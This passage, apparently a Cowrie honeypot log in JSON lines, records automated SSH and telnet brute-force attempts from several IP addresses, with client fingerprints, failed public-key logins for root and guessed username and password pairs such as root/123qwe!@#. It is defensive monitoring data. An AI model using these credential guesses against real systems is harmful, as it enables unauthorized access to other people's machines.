sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:06.502412Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:7e:fb:fb:96:41:d8:41:21:f5:ff:70:10:b3:cc:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZFdjga6ZJ6nDTlSPEuFzLTFDTlrdYEBCp5PALxaHKG7C6Z5JlN8D5pkqz/ODUxld1l8LP+hQPugKmxUIcgkLzRL+NwpfzVTJURQTmvVPP4rkXiRna6vHp2r1DY0Lxkga3H6qS02Tk5zE9Yq5+bcE15nLsNnjxdIZ1oiCXHQQF9iDccV5m7oaKloDBm0qonDgIfND6ufkywv72d+kJsYk2jFlvU8GdTmultjR5V2+kpvcFqCzOS75r2aKmeKgpz4OgDWZj1G1pFUydW8YbJuSjl67Q4H8JzRJe6pu7mkyyLnE0YkghwbzMps1itt0VOWFmIOfWVwwTHZnUz7K7347P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:7e:fb:fb:96:41:d8:41:21:f5:ff:70:10:b3:cc:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:06.986135Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:7e:fb:fb:96:41:d8:41:21:f5:ff:70:10:b3:cc:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZFdjga6ZJ6nDTlSPEuFzLTFDTlrdYEBCp5PALxaHKG7C6Z5JlN8D5pkqz/ODUxld1l8LP+hQPugKmxUIcgkLzRL+NwpfzVTJURQTmvVPP4rkXiRna6vHp2r1DY0Lxkga3H6qS02Tk5zE9Yq5+bcE15nLsNnjxdIZ1oiCXHQQF9iDccV5m7oaKloDBm0qonDgIfND6ufkywv72d+kJsYk2jFlvU8GdTmultjR5V2+kpvcFqCzOS75r2aKmeKgpz4OgDWZj1G1pFUydW8YbJuSjl67Q4H8JzRJe6pu7mkyyLnE0YkghwbzMps1itt0VOWFmIOfWVwwTHZnUz7K7347P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:06.990124Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:94:96:bb:e6:f4:01:f2:5a:f6:d1:9f:79:4c:e2:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDG/SRrWDWPEI//WvW4Y3DkvjgFE7eP/IybQQbh28tWguF+G77AVI6iPk5YBHUkKFPP8Fyxu+uYt5LG6ftOWW7RSqGM7bV+Kk5VIbf0UxYnty4A2A7irpb/No6jO95QhI9+j1+h8CS3NYsdZbX8iwOC0Pk5c2yJXGufWnvMomsvqBMK9JMhEx5aYEk5y11pSpIJFFQaPKZCl1QSuwuAhtkWjYWEYhxGp4dDBXA1xcp9eN03vtPH7wjcAWXW/Hswshxuttyxzy4TFUE7nscIpWKKkt/bl7tYd1egt1kxyJUB2nJoBH7O5bs+lWeGdajGb2mOujBVysc8uFDGSAprH4y21LpwEtqnKogyZsEHocjPJ5P2FrHDvZ5E8ul/Gv+vmBoH03pXE4W+EfPEuz0yJ4UwUFhCJgJMYx5D80BfBI1kxOA3JN+I9aZGIJSsTucL0V0ZX7lo2y+amF1KVhAW/DWTLaBl8ySluBZO/cGxtSgapaWMECCNUicq4hHtCXcPFUmQhGAve3a/Gpvg6HZiliYizFVU82GITs578+Xc4KRa2L3lOdvAbpFHxy+Hq9oM3RZSReiEDxkHwzCXA1+vzXOfJoTaybyY88pRq3Uxwaes2wJQXaOdC3PtMJqySwY4eJOtTlqZLY0qzB6A+MW7WoOz6umniJ1tPDt4wPCOTlX/BQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:94:96:bb:e6:f4:01:f2:5a:f6:d1:9f:79:4c:e2:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.093993Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:94:96:bb:e6:f4:01:f2:5a:f6:d1:9f:79:4c:e2:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDG/SRrWDWPEI//WvW4Y3DkvjgFE7eP/IybQQbh28tWguF+G77AVI6iPk5YBHUkKFPP8Fyxu+uYt5LG6ftOWW7RSqGM7bV+Kk5VIbf0UxYnty4A2A7irpb/No6jO95QhI9+j1+h8CS3NYsdZbX8iwOC0Pk5c2yJXGufWnvMomsvqBMK9JMhEx5aYEk5y11pSpIJFFQaPKZCl1QSuwuAhtkWjYWEYhxGp4dDBXA1xcp9eN03vtPH7wjcAWXW/Hswshxuttyxzy4TFUE7nscIpWKKkt/bl7tYd1egt1kxyJUB2nJoBH7O5bs+lWeGdajGb2mOujBVysc8uFDGSAprH4y21LpwEtqnKogyZsEHocjPJ5P2FrHDvZ5E8ul/Gv+vmBoH03pXE4W+EfPEuz0yJ4UwUFhCJgJMYx5D80BfBI1kxOA3JN+I9aZGIJSsTucL0V0ZX7lo2y+amF1KVhAW/DWTLaBl8ySluBZO/cGxtSgapaWMECCNUicq4hHtCXcPFUmQhGAve3a/Gpvg6HZiliYizFVU82GITs578+Xc4KRa2L3lOdvAbpFHxy+Hq9oM3RZSReiEDxkHwzCXA1+vzXOfJoTaybyY88pRq3Uxwaes2wJQXaOdC3PtMJqySwY4eJOtTlqZLY0qzB6A+MW7WoOz6umniJ1tPDt4wPCOTlX/BQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.097582Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:d3:ea:23:02:29:96:ed:7c:72:54:2b:7a:32:46:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClBn6qOhAyU7I20AhgR6hJ6FvsI2kX80sAI9375Jwbtp2LJdSmemq/Z3NXt+9ThIhWm2QEMPUS+qpokJJxXXXknsTfOsB6XpJj9nRswelkBW5Gj+XRPLkgaXJuGoNUKYhzt44LHw1Ix5o3zV6dO9Axo85+FsG9nespMeyb6hwM/jVYlXyAVY/ASAMVVAhDTnWlp/j9eaflsCrkD1Zc8u6cv8ZdkxDqSrfWg6He9Oq4Dwd7XsUHmHC8TY/5M/MkG4RqLJvyUE7oZFP0c86XLBBQcJIkBFLqDTkSqmBrn0g1o3m0Maz6kMUU4a/qeJNuhvD0w7tnJD1RHAESt3tB988VsBLkPkOD4nYvFJUGVYFRtTfC3J0sB1nX4Y+7zcTvEnFeYcyfeqnuLz4MtsaUt1ZFhPjmD8iEs4BzOmmdCDBdUuZ9oCIGlDsPVBNPsFDX7//4vsnRvp/1BDkCAlQiR+/2g5BxRKQjqMIWGm9i39oXkEn36StaDESliaLTenoT9t3Oiq3r3uhTuyrLie8pfowfVNYTPvIuyBw9e7NMiDnnM2WYvjLy0B2w2wf4msxPX7LnZsnvi4W94mBA6d2q2cIPXgWXeQo0wG27kSFbZ5xmsWSVbElWbLSbPA4rGrFSkWv0D1CjA1pBV8T5I53WbqeO+Y9x23De1zR7vENa6mGgew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:d3:ea:23:02:29:96:ed:7c:72:54:2b:7a:32:46:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.199149Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:d3:ea:23:02:29:96:ed:7c:72:54:2b:7a:32:46:53","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQClBn6qOhAyU7I20AhgR6hJ6FvsI2kX80sAI9375Jwbtp2LJdSmemq/Z3NXt+9ThIhWm2QEMPUS+qpokJJxXXXknsTfOsB6XpJj9nRswelkBW5Gj+XRPLkgaXJuGoNUKYhzt44LHw1Ix5o3zV6dO9Axo85+FsG9nespMeyb6hwM/jVYlXyAVY/ASAMVVAhDTnWlp/j9eaflsCrkD1Zc8u6cv8ZdkxDqSrfWg6He9Oq4Dwd7XsUHmHC8TY/5M/MkG4RqLJvyUE7oZFP0c86XLBBQcJIkBFLqDTkSqmBrn0g1o3m0Maz6kMUU4a/qeJNuhvD0w7tnJD1RHAESt3tB988VsBLkPkOD4nYvFJUGVYFRtTfC3J0sB1nX4Y+7zcTvEnFeYcyfeqnuLz4MtsaUt1ZFhPjmD8iEs4BzOmmdCDBdUuZ9oCIGlDsPVBNPsFDX7//4vsnRvp/1BDkCAlQiR+/2g5BxRKQjqMIWGm9i39oXkEn36StaDESliaLTenoT9t3Oiq3r3uhTuyrLie8pfowfVNYTPvIuyBw9e7NMiDnnM2WYvjLy0B2w2wf4msxPX7LnZsnvi4W94mBA6d2q2cIPXgWXeQo0wG27kSFbZ5xmsWSVbElWbLSbPA4rGrFSkWv0D1CjA1pBV8T5I53WbqeO+Y9x23De1zR7vENa6mGgew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.202954Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.283377Z","src_ip":"2.57.122.238","session":"ceba8aed96d7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:f8:a9:fb:e4:79:b4:ea:1b:ef:14:c2:04:42:e8:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBZrQtI2XmuBqJTdqs+ZYOcMgu9iUehYt7EmthqDFeuNoPh4YFinsgHnAWPfv6VmntM5AEfQii02FiJXMB+O7Lwb+Y+LDbXFWfdw2b5sbQikgM10CBB4zo/bHybxBfMDe4jTIkv5/x3XJWbJHKeF5SP+0YZp93XVcclncymhugEkt7jxbgi8h5lvoLniWb7J73WzaiMk+l/hHpfMP8uF0+9chZdfn0RNSJBoZNgiCmf6r02PoYNIeDZ+RYh62WB9Rru4A7nSO47v/wgI0k3qoTPAVX0igHMuiHVIw4fNEHmm1yEtvFKhc1hRzUOWUp1ikiqquAqrhbLO/iy6DRejoMAwA/xivH3p1/qcJA86iVaPrYQ8A8iYMBb2hYwyNjTihGhXGEh3eFJbLHRy0TL2SC6SBTYFxa4lzjmbza+19FFb1Sdr6bc6LvfGNI95xs4KYgD1fL/kI3Z+9E1VpP/cnbqlJRPc08LfADx9ltQNbeM2ac3yHoeNwfmYYRmr0a6Q39gwL/cwHpL4mISzDS38Zjf2f+4aboJOZCvTkf4wPv7B8O7x5r8BnGUwcChHgxcviKXPMRCeSpVSJvHKulJ13y+mujn6tOoDBqxVTCf/dFzAU0icyCjVBwf/CR7hLDyM+j0ZYQv+k9zCS3tDn4/wZex0tUr2s/sjtAHra6DhxRtw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:f8:a9:fb:e4:79:b4:ea:1b:ef:14:c2:04:42:e8:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.304462Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:f8:a9:fb:e4:79:b4:ea:1b:ef:14:c2:04:42:e8:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDBZrQtI2XmuBqJTdqs+ZYOcMgu9iUehYt7EmthqDFeuNoPh4YFinsgHnAWPfv6VmntM5AEfQii02FiJXMB+O7Lwb+Y+LDbXFWfdw2b5sbQikgM10CBB4zo/bHybxBfMDe4jTIkv5/x3XJWbJHKeF5SP+0YZp93XVcclncymhugEkt7jxbgi8h5lvoLniWb7J73WzaiMk+l/hHpfMP8uF0+9chZdfn0RNSJBoZNgiCmf6r02PoYNIeDZ+RYh62WB9Rru4A7nSO47v/wgI0k3qoTPAVX0igHMuiHVIw4fNEHmm1yEtvFKhc1hRzUOWUp1ikiqquAqrhbLO/iy6DRejoMAwA/xivH3p1/qcJA86iVaPrYQ8A8iYMBb2hYwyNjTihGhXGEh3eFJbLHRy0TL2SC6SBTYFxa4lzjmbza+19FFb1Sdr6bc6LvfGNI95xs4KYgD1fL/kI3Z+9E1VpP/cnbqlJRPc08LfADx9ltQNbeM2ac3yHoeNwfmYYRmr0a6Q39gwL/cwHpL4mISzDS38Zjf2f+4aboJOZCvTkf4wPv7B8O7x5r8BnGUwcChHgxcviKXPMRCeSpVSJvHKulJ13y+mujn6tOoDBqxVTCf/dFzAU0icyCjVBwf/CR7hLDyM+j0ZYQv+k9zCS3tDn4/wZex0tUr2s/sjtAHra6DhxRtw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.308295Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:f0:83:f9:e7:3a:d1:17:7b:4e:68:17:a5:a6:b4:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIvyE3tnFTFwbIJlIrN7twLGrjq/1U/Tx391nOJskEJI","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 94:f0:83:f9:e7:3a:d1:17:7b:4e:68:17:a5:a6:b4:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.410845Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:f0:83:f9:e7:3a:d1:17:7b:4e:68:17:a5:a6:b4:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIvyE3tnFTFwbIJlIrN7twLGrjq/1U/Tx391nOJskEJI","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.414716Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:07.515865Z","src_ip":"185.117.118.196","session":"cf53bfc67662","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":40258,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a9a835a4f8b","protocol":"ssh","message":"New connection: 2.57.122.210:40258 (10.17.0.5:22) [session: 6a9a835a4f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:34.431443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:34.435972Z","src_ip":"2.57.122.210","session":"6a9a835a4f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:34.543440Z","src_ip":"2.57.122.210","session":"6a9a835a4f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"solv","message":"login attempt [sol/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:34.870308Z","src_ip":"2.57.122.210","session":"6a9a835a4f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:36.012303Z","src_ip":"2.57.122.210","session":"6a9a835a4f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.10834765434265,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:14:37.970878Z","src_ip":"212.55.149.117","session":"d6eae33af2e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":58998,"dst_ip":"10.17.0.5","dst_port":22,"session":"0900513e7897","protocol":"ssh","message":"New connection: 103.15.226.202:58998 (10.17.0.5:22) [session: 0900513e7897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:08.132320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:08.141552Z","src_ip":"103.15.226.202","session":"0900513e7897","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:08.392662Z","src_ip":"103.15.226.202","session":"0900513e7897","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@#","message":"login attempt [root/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:09.146152Z","src_ip":"103.15.226.202","session":"0900513e7897","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:10.402889Z","src_ip":"103.15.226.202","session":"0900513e7897","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":8889,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed8700b181db","protocol":"ssh","message":"New connection: 2.57.121.112:8889 (159.203.135.109:22) [session: ed8700b181db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:22.655783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:22.660663Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:22.766970Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"philmont","message":"login attempt [admin/philmont] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:23.262191Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.115.219","src_port":42426,"dst_ip":"10.17.0.5","dst_port":23,"session":"7abeed717813","protocol":"telnet","message":"New connection: 20.203.115.219:42426 (10.17.0.5:23) [session: 7abeed717813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:23.507172Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"phase1","message":"login attempt [admin/phase1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:24.370997Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pharoh","message":"login attempt [admin/pharoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:25.480821Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pfeiffer","message":"login attempt [admin/pfeiffer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:26.595912Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"petros","message":"login attempt [admin/petros] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:27.704942Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.773996353149414,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:28.281064Z","src_ip":"20.203.115.219","session":"7abeed717813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:28.815650Z","src_ip":"2.57.121.112","session":"ed8700b181db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.220.181","src_port":37310,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc96fc40a587","protocol":"ssh","message":"New connection: 116.110.220.181:37310 (159.203.135.109:22) [session: bc96fc40a587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:39.028695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T06:15:39.172607Z","src_ip":"116.110.220.181","session":"bc96fc40a587","protocol":"ssh"}
